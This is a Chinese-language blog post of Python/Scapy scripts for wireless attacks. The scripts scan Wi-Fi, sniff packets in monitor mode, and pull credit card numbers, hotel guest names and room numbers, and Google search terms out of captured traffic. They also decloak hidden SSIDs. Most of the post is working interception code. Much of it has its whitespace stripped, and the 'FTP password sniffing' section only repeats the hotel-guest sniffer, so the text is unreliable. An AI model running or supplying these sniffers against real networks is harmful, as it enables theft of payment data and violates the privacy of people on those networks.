python网络攻击代码_使用Python进行无线网络攻击
PyWifl 模块寻找wifi来源#-*- coding: UTF-8 -*-importpywifidefbies():wifi=pywifi.PyWiFi()#创建一个无限对象ifaces=wifi.interfaces()[0]#取一个无线网卡ifaces.scan()#扫描bessis=ifaces.scan_results()for i inrange(len(bessis)):prin
PyWifl 模块寻找wifi来源
#-*- coding: UTF-8 -*-
importpywifidefbies():
wifi=pywifi.PyWiFi()#创建一个无限对象
ifaces=wifi.interfaces()[0]#取一个无线网卡
ifaces.scan()#扫描
bessis=ifaces.scan_results()for i inrange(len(bessis)):print(bessis[i].ssid, bessis[i].signal)
bies()
Wifl 侦听模块
importosfrom scapy.all import *iface= "en0"os.system("/usr/sbin/iwconfig" + iface + "mode monitor")#Dump packets that are not beacons, probe request / responses
defdump_packet(pkt):if not pkt.haslayer(Dot11Beacon) and\not pkt.haslayer(Dot11ProbeReq) and\notpkt.haslayer(Dot11ProbeResp):print(pkt.summary())ifpkt.haslayer(Raw):print(hexdump(pkt.load))print("\n")whileTrue:for channel in range(1, 14):
os.system("/usr/sbin/iwconfig" + iface +\"channel" +str(channel))print("Sniffing on channel" +str(channel))
sniff(iface=iface,
prn=dump_packet,
count=10,
timeout=3,
store=0)
用Scapy测试无线网卡的嗅探功能
测试嗅探无线网络的代码
#!/usr/bin/python#coding=utf-8
from scapy.all import *
defpktPrint(pkt):ifpkt.haslayer(Dot11Beacon):print '[+] Detected 802.11 Beacon Frame'
elifpkt.haslayer(Dot11ProbeReq):print '[+] Detected 802.11 Probe Request Frame'
elifpkt.haslayer(TCP):print '[+] Detected a TCP Packet'
elifpkt.haslayer(DNS):print '[+] Detected a DNS Packet'conf.iface= 'wlan0mon'sniff(prn=pktPrint)
使用Python正则表达式嗅探信用卡信息
3种常用的信用卡:Visa、MasterCard和American Express。
#!/usr/bin/python#coding=utf-8
importredeffindCreditCard(raw):#American Express信用卡由34或37开头的15位数字组成
americaRE = re.findall('3[47][0-9]{13}', raw)ifamericaRE:print '[+] Found American Express Card:' +americaRE[0]defmain():
tests=[]
tests.append('I would like to buy 1337 copies of that dvd')
tests.append('Bill my card: 378282246310005 for \$2600')for test intests:
findCreditCard(test)if __name__ == '__main__':
main()
接着就加入Scapy来嗅探TCP数据包实现嗅探功能:
#!/usr/bin/python#coding=utf-8
importreimportoptparsefrom scapy.all import *
deffindCreditCard(pkt):
raw= pkt.sprintf('%Raw.load%')#American Express信用卡由34或37开头的15位数字组成
americaRE = re.findall('3[47][0-9]{13}', raw)#MasterCard信用卡的开头为51~55,共16位数字
masterRE = re.findall('5[1-5][0-9]{14}', raw)#Visa信用卡开头数字为4,长度为13或16位
visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw)ifamericaRE:print '[+] Found American Express Card:' +americaRE[0]ifmasterRE:print '[+] Found MasterCard Card:' +masterRE[0]ifvisaRE:print '[+] Found Visa Card:' +visaRE[0]defmain():
parser= optparse.OptionParser('[*]Usage: python creditSniff.py -i ')
parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')
(options, args)=parser.parse_args()if options.interface ==None:printparser.usage
exit(0)else:
conf.iface=options.interfacetry:print '[*] Starting Credit Card Sniffer.'sniff(filter='tcp', prn=findCreditCard, store=0)exceptKeyboardInterrupt:
exit(0)if __name__ == '__main__':
main()
嗅探宾馆住客
#!/usr/bin/python#coding=utf-8
importoptparsefrom scapy.all import *
deffindGuest(pkt):
raw= pkt.sprintf('%Raw.load%')
name= re.findall('(?i)LAST_NAME=(.*)&', raw)
room= re.findall("(?i)ROOM_NUMBER=(.*)'", raw)ifname:print '[+] Found Hotel Guest' + str(name[0]) + ', Room #' +str(room[0])defmain():
parser= optparse.OptionParser('[*]Usage: python hotelSniff.py -i ')
parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')
(options, args)=parser.parse_args()if options.interface ==None:printparser.usage
exit(0)else:
conf.iface=options.interfacetry:print '[*] Starting Hotel Guest Sniffer.'sniff(filter='tcp', prn=findGuest, store=0)exceptKeyboardInterrupt:
exit(0)if __name__ == '__main__':
main()
编写谷歌键盘记录器:
Google搜索,由“q=”开始,中间是要搜索的字符串,并以“&”终止,字符“pg=”后接的是上一个搜索的内容。
#!/usr/bin/python#coding=utf-8
importoptparsefrom scapy.all import *
deffindGoogle(pkt):ifpkt.haslayer(Raw):
payload=pkt.getlayer(Raw).loadif 'GET' inpayload:if 'google' inpayload:
r= re.findall(r'(?i)\&q=(.*?)\&', payload)ifr:
search= r[0].split('&')[0]
search= search.replace('q=', '').replace('+', ' ').replace('%20', ' ')print '[+] Searched For:' +searchdefmain():
parser= optparse.OptionParser('[*]Usage: python googleSniff.py -i ')
parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')
(options, args)=parser.parse_args()if options.interface ==None:printparser.usage
exit(0)else:
conf.iface=options.interfacetry:print '[*] Starting Google Sniffer.'sniff(filter='tcp port 80', prn=findGoogle)exceptKeyboardInterrupt:
exit(0)if __name__ == '__main__':
main()
嗅探FTP登录口令:
#!/usr/bin/python#coding=utf-8
importoptparsefrom scapy.all import *
deffindGuest(pkt):
raw= pkt.sprintf('%Raw.load%')
name= re.findall('(?i)LAST_NAME=(.*)&', raw)
room= re.findall("(?i)ROOM_NUMBER=(.*)'", raw)ifname:print '[+] Found Hotel Guest' + str(name[0]) + ', Room #' +str(room[0])defmain():
parser= optparse.OptionParser('[*]Usage: python hotelSniff.py -i ')
parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')
(options, args)=parser.parse_args()if options.interface ==None:printparser.usage
exit(0)else:
conf.iface=options.interfacetry:print '[*] Starting Hotel Guest Sniffer.'sniff(filter='tcp', prn=findGuest, store=0)exceptKeyboardInterrupt:
exit(0)if __name__ == '__main__':
main()
侦听无线 802.11 Probe请求
#!/usr/bin/python#utf-8
from scapy.all import *interface= 'wlan0mon'probeReqs=[]defsniffProbe(p):ifp.haslayer(Dot11ProbeReq):
netName=p.getlayer(Dot11ProbeReq).infoif netName not inprobeReqs:
probeReqs.append(netName)print '[+] Detected New Probe Request:' +netName
sniff(iface=interface, prn=sniffProbe)
寻找隐藏网络的802.11信标
defsniffDot11(p):ifp.haslayer(Dot11Beacon):if p.getlayer(Dot11Beacon).info == '':
addr2=p.getlayer(Dot11).addr2if addr2 not inhiddenNets:print '[-] Detected Hidden SSID: with MAC:' +addr2
hiddenNets.append(addr2)
找出隐藏的802.11网络的网络名
#!/usr/bin/python#coding=utf-8
importsysfrom scapy import *interface= 'wlan0mon'hiddenNets=[]
unhiddenNets=[]defsniffDot11(p):ifp.haslayer(Dot11ProbeResp):
addr2=p.getlayer(Dot11).addr2if (addr2 in hiddenNets) & (addr2 not inunhiddenNets):
netName=p.getlayer(Dot11ProbeResp).infoprint '[+] Decloaked Hidden SSID :' + netName + 'for MAC:' +addr2
unhiddenNets.append(addr2)ifp.haslayer(Dot11Beacon):if p.getlayer(Dot11Beacon).info == '':
addr2=p.getlayer(Dot11).addr2if addr2 not inhiddenNets:print '[-] Detected Hidden SSID: with MAC:' +addr2
hiddenNets.append(addr2)
sniff(iface=interface, prn=sniffDot11)
魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。
更多推荐


所有评论(0)